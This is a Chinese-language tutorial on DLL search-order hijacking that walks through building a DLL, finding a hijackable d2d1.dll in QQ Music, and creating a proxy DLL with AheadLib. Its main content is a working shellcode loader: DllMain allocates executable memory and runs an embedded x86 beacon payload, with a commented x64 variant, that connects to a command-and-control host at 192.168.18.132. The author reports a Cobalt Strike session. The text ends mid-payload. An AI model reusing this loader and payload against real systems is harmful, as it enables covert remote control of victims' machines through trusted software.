dll劫持

dll介绍即作用

动态链接库(英语:Dynamic-link library,缩写为DLL)是微软公司Windows 操作系统中实现共享函数库概念的一种实现方式。这些库函数的扩展名.DLL​、.OCX​(包含ActiveX控制的库)或者.DRV​(旧式的系统驱动程序)。

所谓动态链接,就是把一些经常会共享的代码(静态链接的OBJ程序库)制作成DLL档,当可执行文件调用到DLL档内的函数时,Windows操作系统才会把DLL档加载存储器内,DLL档本身的结构就是可执行档,当程序有需求时函数才进行链接。通过动态链接方式,存储器浪费的情形将可大幅降低。静态链接库则是直接链接到可执行文件。

DLL的文件格式与视窗EXE文件一样——也就是说,等同于32位视窗的可移植执行文件(PE)和16位视窗的New Executable(NE)。作为EXE格式,DLL可以包括源代码数据 “数据 (计算机)”)和资源 “资源 (Windows)”)的多种组合。

在更广泛的意义上说,任何同样文件格式电脑文件都可以称作资源DLL。这样的DLL的例子有扩展名为ICL​的图标库、扩展名为FON​和FOT​的字体文件。

作用

DLL动态链接库,是程序进行动态链接时加载的库函数。

故动态链接最直接的好处是磁盘和内存的消耗减少,这也是dll最初的目的。

不过,dll也有缺点,就是容易造成版本冲突,比如不同的应用程序共享同一个dll,而它们需求的是不同的版本,这就会出现矛盾,解决办法是把不同版本的dll放在不同的文件夹中。

dll劫持原理

劫持DLL(又称为DLL劫持、DLL搜索顺序劫持或二进制植入)是一种攻击技术,如果在进程尝试加载一个DLL时没有并没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录来查找这个DLL,,如果攻击者能够将恶意的DLL放在优先于正常DLL所在的目录,那么就能够欺骗系统去加载恶意的DLL(利用Windows操作系统在加载DLL(动态链接库)时的搜索顺序漏洞,使得恶意DLL被误加载到受害进程中。)这种攻击方法可以让攻击者在受害进程的上下文中执行任意代码。

当一个应用程序需要加载DLL时,Windows系统会按照特定的顺序搜索DLL。搜索顺序通常如下:

  1. 应用程序的目录。
  2. 系统目录(如System32)。
  3. 16位系统目录。
  4. Windows目录。
  5. 当前工作目录。
  6. 环境变量PATH​中列出的目录。

劫持目的:

  • 常见的白加黑,利用可信任的(最好被微软签名过)可执行程序加载恶意 DLL
  • 劫持目标操作系统中已预先安装并且会定期运行的软件所需加载的 DLL
  • 如果目标应用程序正以高权限运行,劫持后的恶意代码也会以相应的权限执行

dl劫持方法

  • 用恶意的DLL替换掉合法的DLL,可以将其与dll代理( DLL Proxying )结合使用,以确保原DLL的所有功能均保持不变。
  • 当应用程序加载DLL的时候,如果没有带指定DLL的路径,那么程序将会以特定的顺序依次在指定的路径下搜索待加载的DLL。通过将恶意DLL放在真实DLL之前的搜索位置,就可以劫持搜索顺序,劫持的目录有时候包括目标应用程序的工作目录。
  • 释放一个恶意 DLL 来代替丢失的或者不存在的 要被合法应用程序加载的DLL。
  • 更改DLL搜索的路径,比如通过编辑 %PATH% 环境变量或 .exe.manifest/.exe.local文件以将搜索路径定位到包含恶意DLL的地方。
  • 将目标DLL相关的WinSxS文件夹中的合法的DLL替换为恶意DLL。
  • 将合法的应用程序复制(并有选择地重命名)与恶意的DLL一起放入到用户可写的文件夹中。在使用方法上,它与(带签名的)二进制代理执行 有相似之处。它的一个变体是(有点矛盾地称为)“bring your own LOLbin”,其中合法的应用程序带有恶意的DLL(而不是从受害者机器上的合法位置复制)。

dll劫持测试

环境:Windows11、vs2022、ChkDllHijack ,AheadLib+、Process Monitor 或者ProcessExplorer、qq音乐

ChkDllHijack是一款自动化验证dll劫持注入漏洞工具,相同可替换工具也有很多,可以在github中找到

AheadLib是一款自动化dll劫持代码生成工具,由于原版仅支持x86,这里使用看雪大神的AheadLib+改版,更新了x64支持类/命名空间。

Process Monitor:负责监控可执行程序运行时系统调用加载的dll链接库

vs2022 c++实现dll创建和调用

文件创建

使用vs2022的c++dll模板创建一个文件,其中模板信息如下;

1
2
3
4
5
6
7
8
9
10
11
12
13
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h" // 预编译头文件

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: // DLL 被加载到进程时调用
case DLL_THREAD_ATTACH: // 新线程被创建时调用
case DLL_THREAD_DETACH: // 线程被终止时调用
case DLL_PROCESS_DETACH: // DLL 从进程中卸载时调用
break;
}
return TRUE; // 返回 TRUE 表示已成功处理
}

新建一个头文件以及源文件

头文件的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#pragma once

// 检查是否在编译 DLL
#ifdef _EXPORTING
#define _DLL_API __declspec(dllexport) // 导出函数
#else
#define _DLL_API __declspec(dllimport) // 导入函数
#endif

#ifdef __cplusplus
// 定义一个 C++ 类 Dll_Class
class Dll_Class
{
public:
Dll_Class(); // 构造函数
~Dll_Class(); // 析构函数

// 虚拟函数,执行加法操作
virtual int Addition(int a, int b);
};
#endif

// 使用 C 链接方式,防止名称重整
extern "C"
{
// 创建 Dll_Class 的实例并返回指针
_DLL_API Dll_Class *CreateObject();

// 释放 Dll_Class 对象的内存
_DLL_API void ReleaseObject(Dll_Class *pObject);

// 返回两个整数的乘积
_DLL_API int Multiplication_TypeC(int a, int b);

// 返回两个整数的和
_DLL_API int Addition_TypeC(int a, int b);
}

源文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// MathLibrary.cpp : 定义 DLL 的导出函数
#include "pch.h" // 在 Visual Studio 2017 及更早版本中使用 stdafx.h
#include <utility>
#include <limits.h>
#include "my_dll.h"

// DLL 内部状态变量
static unsigned long long previous_; // 存储前一个值
static unsigned long long current_; // 存储当前序列值
static unsigned index_; // 存储当前序列位置

// 初始化 Fibonacci 关系序列,使得 F(0) = a, F(1) = b。
// 此函数必须在调用其他任何函数之前被调用。
void fibonacci_init(
const unsigned long long a,
const unsigned long long b)
{
index_ = 0; // 初始化序列位置为 0
current_ = a; // 将当前值设置为 a (F(0))
previous_ = b; // 将前一个值设置为 b (F(1))
}

// 生成序列中的下一个值。
// 成功时返回 true,溢出时返回 false。
bool fibonacci_next()
{
// 检查是否会导致溢出
if ((ULLONG_MAX - previous_ < current_) || // 检查 current_ + previous_ 是否溢出
(UINT_MAX == index_)) // 检查索引是否已经达到上限
{
return false; // 溢出,返回 false
}

// 特殊情况,当索引为 0 时,直接返回 b 的值
if (index_ > 0)
{
// 否则,计算下一个序列值
previous_ += current_; // 计算下一个 Fibonacci 值
}

// 交换当前值和前一个值,为下一次计算做准备
std::swap(current_, previous_);
++index_; // 更新索引位置
return true; // 成功,返回 true
}

// 获取序列中的当前值
unsigned long long fibonacci_current()
{
return current_; // 返回当前 Fibonacci 值
}

// 获取当前索引位置在序列中的位置
unsigned fibonacci_index()
{
return index_; // 返回当前索引值
}

之后接着选择 生成->生成解决方案

生成之后,你可以在x64这个文件夹下找到生成的dll和lib文件

隐式调用Dll

重新创建一个c++的空项目或者控制台应用

然后生成一个源文件,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// MathClient.cpp : Client app for MathLibrary DLL.
// #include "pch.h" Uncomment for Visual Studio 2017 and earlier

#include <iostream>
#include "../task_dll/my_dll.h"

// 选择链接的DLL库
#pragma comment(lib, "../Debug/task_dll.lib") //刚才写的dll文件路径

int main()
{
// 初始化 Fibonacci 关系序列
fibonacci_init(1, 1);

// 输出序列值直到溢出
do {
std::cout << fibonacci_index() << ": "
<< fibonacci_current() << std::endl;
} while (fibonacci_next());

// 报告在溢出之前写入的值的计数
std::cout << (fibonacci_index() + 1) <<
" Fibonacci sequence values fit in an " <<
"unsigned 64-bit integer." << std::endl;

return 0; // 返回值,表明程序正常结束
}

然后生成,不出意外会显示这个

image

只需要去刚才生成的dll文件下,把 .dll和.lib文件拷贝到当前文件下就可以了

image

再次运行

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import re

# 定义读取并过滤文件的函数
def extract_dll_paths(input_file, output_file):
# 打开输入文件以读取
with open(input_file, 'r', encoding='utf-8') as infile:
# 打开输出文件以写入
with open(output_file, 'w', encoding='utf-8') as outfile:
# 遍历输入文件的每一行
for line in infile:
# 查找以 D:\ 或 C:\ 开头并包含 .dll 的路径
matches = re.findall(r'([CD]:\\.*?\.dll)', line)
# 如果找到了匹配的路径,则写入输出文件
for match in matches:
outfile.write(match + '\n')

# 调用函数,传入输入和输出文件的路径
extract_dll_paths('QQMusic.exe.txt', 'dll_paths.txt')

打开ProcessExplorer查看qq音乐的进程和dll调用情况

image

CTRL+s保存成txt文件,使用正则脚本,将txt文件的内容简化成纯路径文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import re

# 定义读取并过滤文件的函数
def extract_dll_paths(input_file, output_file):
# 打开输入文件以读取
with open(input_file, 'r', encoding='utf-8') as infile:
# 打开输出文件以写入
with open(output_file, 'w', encoding='utf-8') as outfile:
# 遍历输入文件的每一行
for line in infile:
# 查找以 D:\ 或 C:\ 开头并包含 .dll 的路径
matches = re.findall(r'([CD]:\\.*?\.dll)', line)
# 如果找到了匹配的路径,则写入输出文件
for match in matches:
outfile.write(match + '\n')

# 调用函数,传入输入和输出文件的路径
extract_dll_paths('QQMusic.exe.txt', 'dll_paths.txt')

生成文件如下

image

打开ChkDllHijack,将路径粘贴进去,点击验证

image

得到

image

说明C:\Windows\SysWOW64\d2d1.dll​这个dll文件可以进行dll劫持

SysWOW64是Windows为了让用户在x64系统环境下一样能够运行x86程序而创建一个子系统。该文件夹下存放的都是32位应用程序。所以使

用的是AheadLib.exe来导出.cpp文件。以及在后面编译的时候也选择Release或者Debug X86环境,否则编译出来运行将会导致cobalt strike不

上线。

打开AheadLib,将那个dll拖入

image

生成的cpp文件就是转发操作,以及将原dll名改为d2d1Org

在vs新建一个dll项目

其中dllmain.cpp如下写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma comment(linker, "/EXPORT:D2D1CreateFactory=d2d1Org.D2D1CreateFactory,@1")
#pragma comment(linker, "/EXPORT:D2D1MakeRotateMatrix=d2d1Org.D2D1MakeRotateMatrix,@2")
#pragma comment(linker, "/EXPORT:D2D1MakeSkewMatrix=d2d1Org.D2D1MakeSkewMatrix,@3")
#pragma comment(linker, "/EXPORT:D2D1IsMatrixInvertible=d2d1Org.D2D1IsMatrixInvertible,@4")
#pragma comment(linker, "/EXPORT:D2D1InvertMatrix=d2d1Org.D2D1InvertMatrix,@5")
#pragma comment(linker, "/EXPORT:D2D1ConvertColorSpace=d2d1Org.D2D1ConvertColorSpace,@6")
#pragma comment(linker, "/EXPORT:D2D1CreateDevice=d2d1Org.D2D1CreateDevice,@7")
#pragma comment(linker, "/EXPORT:D2D1CreateDeviceContext=d2d1Org.D2D1CreateDeviceContext,@8")
#pragma comment(linker, "/EXPORT:D2D1SinCos=d2d1Org.D2D1SinCos,@9")
#pragma comment(linker, "/EXPORT:D2D1Tan=d2d1Org.D2D1Tan,@10")
#pragma comment(linker, "/EXPORT:D2D1Vec3Length=d2d1Org.D2D1Vec3Length,@11")
#pragma comment(linker, "/EXPORT:D2D1ComputeMaximumScaleFactor=d2d1Org.D2D1ComputeMaximumScaleFactor,@12")
#pragma comment(linker, "/EXPORT:D2D1GetGradientMeshInteriorPointsFromCoonsPatch=d2d1Org.D2D1GetGradientMeshInteriorPointsFromCoonsPatch,@13")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


void loadshellcode() {
/* 创建一个可执行的堆内存块
HEAP_CREATE_ENABLE_EXECUTE 标志允许执行在该堆上分配的内存*/
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x50\x00\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x65\x38\x69\x56\x00\x55\x00\x9b\x1a\x94\xf7\x9c\x9d\xc7\x17\xf4\x02\xe9\x72\xea\x2f\x18\x0b\xed\x3a\x9f\x3e\xca\xf4\xce\xd3\xc3\xc4\x80\x03\x7a\x9e\x03\xd2\x89\x6c\x02\x6e\x33\x3f\x41\x03\x29\x2b\xc8\x55\x80\xcc\x65\x66\x77\xfa\x15\x20\x5c\x7b\xfa\xe0\xd5\x1b\x1b\xb4\x17\x45\x1f\x06\xa2\x61\xdc\x21\xa9\x1c\xdb\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x49\x6e\x66\x6f\x50\x61\x74\x68\x2e\x32\x29\x0d\x0a\x00\x8f\x9c\xed\x57\xc8\xb9\x63\x1b\x62\xa3\x2c\xdf\x06\x37\x2d\xc3\x8d\x73\x27\x3c\x72\x2a\x48\xe5\xd0\x6b\x99\xa0\x87\x96\xdc\xdd\x5c\x35\x26\xf6\x26\x37\x01\x17\x10\x0b\xbb\xe3\xf9\xb3\xf2\xdc\xa7\xcb\x90\x65\x46\xc1\xdb\x64\x0b\x23\x2a\x63\x63\x85\x96\x24\xd7\x9d\x87\x8f\xde\x8a\x5b\x27\x59\x12\xb4\x08\xcf\x93\xb4\x74\xd5\x45\x14\xa9\xfc\xeb\x2d\x40\x1d\xf5\x57\xac\xf6\x07\xd2\x6f\xf1\x46\x59\x9c\x49\xde\xdc\xc3\xd9\x88\x07\x85\xc2\x8c\x17\x4e\xc6\x86\x1b\x17\xca\x5e\x15\x8c\x9f\x30\x57\x58\x73\x21\xa0\x05\x62\x75\x83\x7e\xe3\xce\x64\x76\x00\x3d\x8b\x4e\x43\x0e\x7a\x93\x69\x63\x70\xf9\x3b\x42\x98\xac\xd4\x5c\x52\xbe\x87\xe4\x8c\x02\xa1\x1e\xf9\xa2\xe0\xf2\x5f\x75\xb2\x83\x0c\x88\xef\x06\x83\x96\x68\x3d\x33\xed\x91\x93\xfd\x38\x2d\x9c\x8d\x97\x1c\x43\xd8\x68\xbc\xcd\x8e\x82\x39\x19\xa1\x61\x16\x6d\xf8\x68\x68\xdd\x3e\xbd\x1e\x1c\xc6\x5d\x4e\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x38\x2e\x31\x33\x32\x00\x5e\x2e\x78\x90";

LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

memcpy(pMemory, buf, sizeof(buf));

HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

WaitForSingleObject(hThread, 0);

//释放内存
VirtualFree(pMemory, 0x1000, MEM_COMMIT);
CloseHandle(hThread);

}


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
loadshellcode();
//unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x74\x32\x6e\x49\x00\x0c\xda\x45\x13\xbb\x51\xcc\x08\x55\x80\x06\xe7\x40\xf2\x8a\x59\x6b\x7f\xe2\x00\x4a\x51\xd0\x09\xa2\x57\xe1\x30\x5d\xcb\x7b\xad\x44\x3c\x07\x3d\xa5\x75\x88\xe9\xd6\xa9\xa1\xfd\xb3\x7a\xe2\x8c\x19\x05\x8f\xfc\xf4\x27\xec\x4e\xfc\x6a\xe9\x1f\x94\xdf\x4c\x96\xf9\xbc\x2b\x12\x8a\x67\x72\xed\x58\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x42\x54\x52\x53\x31\x32\x35\x35\x32\x36\x29\x0d\x0a\x00\xae\xe1\x01\x1c\xaa\x64\x16\x48\x4f\x20\x35\x43\x90\x6b\xf7\xf9\x6a\x51\x08\xdf\x53\x5c\x64\x33\x31\x76\xf5\x73\x59\x7a\xd6\x80\x80\xba\x54\x30\x97\xac\x21\xab\x3c\xee\x9e\xe1\xda\xc3\x0b\x18\x16\xe8\x3b\x9e\x8d\xcb\x62\xfd\xb6\x2e\x05\x2c\x61\xc3\x23\xd8\xe5\x9d\x1d\x65\xaa\xb2\x3c\xd2\xf6\x63\x1d\x5b\x80\x5a\x50\x7c\x0c\xe9\x94\x5c\x3a\xdc\xb2\x1c\xd2\x46\x61\xee\x4f\xc8\xe5\x9a\xe0\x9f\xa1\x71\x2f\x9f\x13\x24\xaf\x84\xe6\x86\x3a\x33\x35\x18\x14\xe4\x66\x02\xc7\x0d\xd6\xf0\x0f\xdd\x44\xbc\xa5\x01\xf5\x2d\x96\x7f\xd8\xe8\x76\xfb\xf7\xb8\x36\x66\x2f\x64\x1f\xbb\xb5\x24\xe2\x06\xad\x3d\x38\xc5\x90\xd3\x02\xea\x52\xf0\x06\x1d\x32\x80\x4b\xe7\x31\xe2\x7d\x1a\xe3\x31\x29\xb0\xd9\x80\x4f\x18\x5a\x68\xad\xb3\x06\x2d\xa3\x20\x7a\xf0\xe1\x4c\x0c\x0f\x70\x5b\x9e\xc4\x8b\x42\xc0\xea\xd2\x94\xa6\xf4\x65\x0f\xaf\x7e\xdc\xd1\x02\x35\x7c\xf6\x21\x69\x8c\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x38\x2e\x31\x33\x32\x00\x5e\x2e\x78\x90";
//LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

//memcpy(pMemory, buf, sizeof(buf));

//HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

//WaitForSingleObject(hThread, 0);

////释放内存
//VirtualFree(pMemory, 0x1000, MEM_COMMIT);
//CloseHandle(hThread);
DisableThreadLibraryCalls(hModule);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}

return TRUE;
}

无非就是将刚才AheadLib生成的代码赋值过来之后,加上了shellcode(这个shellcode需要使用x86的

framework.h文件如下:

1
2
3
4
5
6
#pragma once

#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void loadshellcode();

其他文件不变,生成dll文件

然后将这个dll文件重命名为d2d1.dll然后将之前的dll重命名为d2d1Org.dll,然后将两个文件一个复制一份到QQ music的根目录下

image

运行qq音乐发现cs成功上线

image

这里可能是转发生成有点问题,所以导致qq音乐这个地方运行有点问题

image

对此发现这个dll调用频率不是很高所以将转发注释之后,测试,发现效果更好(只适用于这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
//#pragma comment(linker, "/EXPORT:D2D1CreateFactory=d2d1Org.D2D1CreateFactory,@1")
//#pragma comment(linker, "/EXPORT:D2D1MakeRotateMatrix=d2d1Org.D2D1MakeRotateMatrix,@2")
//#pragma comment(linker, "/EXPORT:D2D1MakeSkewMatrix=d2d1Org.D2D1MakeSkewMatrix,@3")
//#pragma comment(linker, "/EXPORT:D2D1IsMatrixInvertible=d2d1Org.D2D1IsMatrixInvertible,@4")
//#pragma comment(linker, "/EXPORT:D2D1InvertMatrix=d2d1Org.D2D1InvertMatrix,@5")
//#pragma comment(linker, "/EXPORT:D2D1ConvertColorSpace=d2d1Org.D2D1ConvertColorSpace,@6")
//#pragma comment(linker, "/EXPORT:D2D1CreateDevice=d2d1Org.D2D1CreateDevice,@7")
//#pragma comment(linker, "/EXPORT:D2D1CreateDeviceContext=d2d1Org.D2D1CreateDeviceContext,@8")
//#pragma comment(linker, "/EXPORT:D2D1SinCos=d2d1Org.D2D1SinCos,@9")
//#pragma comment(linker, "/EXPORT:D2D1Tan=d2d1Org.D2D1Tan,@10")
//#pragma comment(linker, "/EXPORT:D2D1Vec3Length=d2d1Org.D2D1Vec3Length,@11")
//#pragma comment(linker, "/EXPORT:D2D1ComputeMaximumScaleFactor=d2d1Org.D2D1ComputeMaximumScaleFactor,@12")
//#pragma comment(linker, "/EXPORT:D2D1GetGradientMeshInteriorPointsFromCoonsPatch=d2d1Org.D2D1GetGradientMeshInteriorPointsFromCoonsPatch,@13")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


void loadshellcode() {
/* 创建一个可执行的堆内存块
HEAP_CREATE_ENABLE_EXECUTE 标志允许执行在该堆上分配的内存*/
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x50\x00\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\x